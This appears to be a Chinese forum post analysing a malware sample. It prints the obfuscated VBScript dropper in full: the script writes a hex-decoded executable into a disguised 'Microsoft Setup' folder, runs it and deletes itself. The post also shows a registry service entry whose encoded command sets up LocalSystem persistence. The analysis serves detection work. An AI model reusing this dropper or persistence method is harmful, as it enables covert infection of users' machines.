本帖最后由 DisaPDB 于 2024-3-19 18:21 编辑
前面那段长得一批的就是shellcode了- <b>Dim s3533, b3137, v3937
- Set s3533 = Wscript.CreateObject("Shell.Application")
- Set b3137 = CreateObject("Scripting.FileSystemObject")
- Set v3937 = Wscript.CreateObject("Wscript.Shell")
- g3333 = s3533.NameSpace(&H23).Self.Path
- j3735 = g3333 + "\Microsoft Setup"
- q3831 = b3137.GetFile(Wscript.ScriptFullName).path
- If Not b3137.FolderExists(j3735) Then
- b3137.CreateFolder(j3735)
- End If
- Randomize()
- b3839 = j3735 + "" + Cstr(round(rnd * 999)) + ".exe"
- Dim q3335, a3739, d3830
- Set a3739 = CreateObject("Microsoft.XMLDOM")
- Set d3830 = a3739.CreateElement("binary")
- d3830.DataType = "bin.hex"
- d3830.Text = j3437
- Set q3335 = CreateObject("ADODB.Stream")
- q3335.Type = 1
- q3335.Open
- q3335.Write d3830.NodeTypedValue
- q3335.SaveToFile b3839, 2
- q3335.Close
- Set q3335 = Nothing
- Set d3830 = Nothing
- Set a3739 = Nothing
- If b3137.FileExists(b3839) Then
- v3937.Run chr(34) + b3839 + chr(34), 1, True
- b3137.DeleteFile(b3839)
- End If
- b3137.DeleteFile(q3831)
- Set s3533 = Nothing
- Set b3137 = Nothing
- Set v3937 = Nothing
- Wscript.Quit 0
- </b>
复制代码 v3937.Run chr(34) + b3839 + chr(34), 1, True生成payload
注册表项目
- Windows Registry Editor Version 5.00
- [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\msiserverkj]
- "ImagePath"=hex:63,00,6d,00,64,00,20,00,2f,00,63,00,20,00,78,00,63,00,6f,00,70,\
- 00,79,00,20,00,22,00,43,00,3a,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,\
- 73,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,4d,00,69,\
- 00,63,00,72,00,6f,00,73,00,6f,00,66,00,74,00,5c,00,70,00,72,00,69,00,76,00,\
- 61,00,74,00,65,00,2d,00,38,00,38,00,22,00,20,00,22,00,43,00,3a,00,5c,00,50,\
- 00,72,00,6f,00,67,00,72,00,61,00,6d,00,44,00,61,00,74,00,61,00,5c,00,4d,00,\
- 69,00,63,00,72,00,6f,00,73,00,6f,00,66,00,74,00,20,00,53,00,65,00,74,00,75,\
- 00,70,00,22,00,20,00,2f,00,69,00,20,00,2f,00,65,00,20,00,2f,00,79,00,20,00,\
- 26,00,20,00,22,00,43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,\
- 00,44,00,61,00,74,00,61,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,\
- 66,00,74,00,20,00,53,00,65,00,74,00,75,00,70,00,5c,00,75,00,73,00,65,00,72,\
- 00,69,00,6e,00,69,00,74,00,2e,00,65,00,78,00,65,00,22,00,20,00,2f,00,2f,00,\
- 42,00,20,00,2f,00,2f,00,45,00,3a,00,76,00,62,00,73,00,20,00,22,00,43,00,3a,\
- 00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,44,00,61,00,74,00,61,00,\
- 5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,66,00,74,00,20,00,53,00,65,\
- 00,74,00,75,00,70,00,5c,00,75,00,73,00,65,00,72,00,69,00,6e,00,69,00,74,00,\
- 2e,00,74,00,78,00,74,00,22,00,00,00
- "ObjectName"="LocalSystem"
- "Group"="UIGroup"
- "Start"=dword:00000002
- "Type"=dword:00000010
- "ErrorControl"=dword:00000001
复制代码- cmd /c xcopy "C:\Windows\system32\Microsoft\private-88" "C:\ProgramData\Microsoft Setup" /i /e /y && "C:\ProgramData\Microsoft Setup\userinit.exe" //B //E:vbs "C:\ProgramData\Microsoft Setup\userinit.txt"
复制代码 00000010没记错是驱动对应的值,并且这个服务项目是LocalSystem启动的,但是没看到相关其他内容,exe就交给大佬分析了
360目前拉黑
|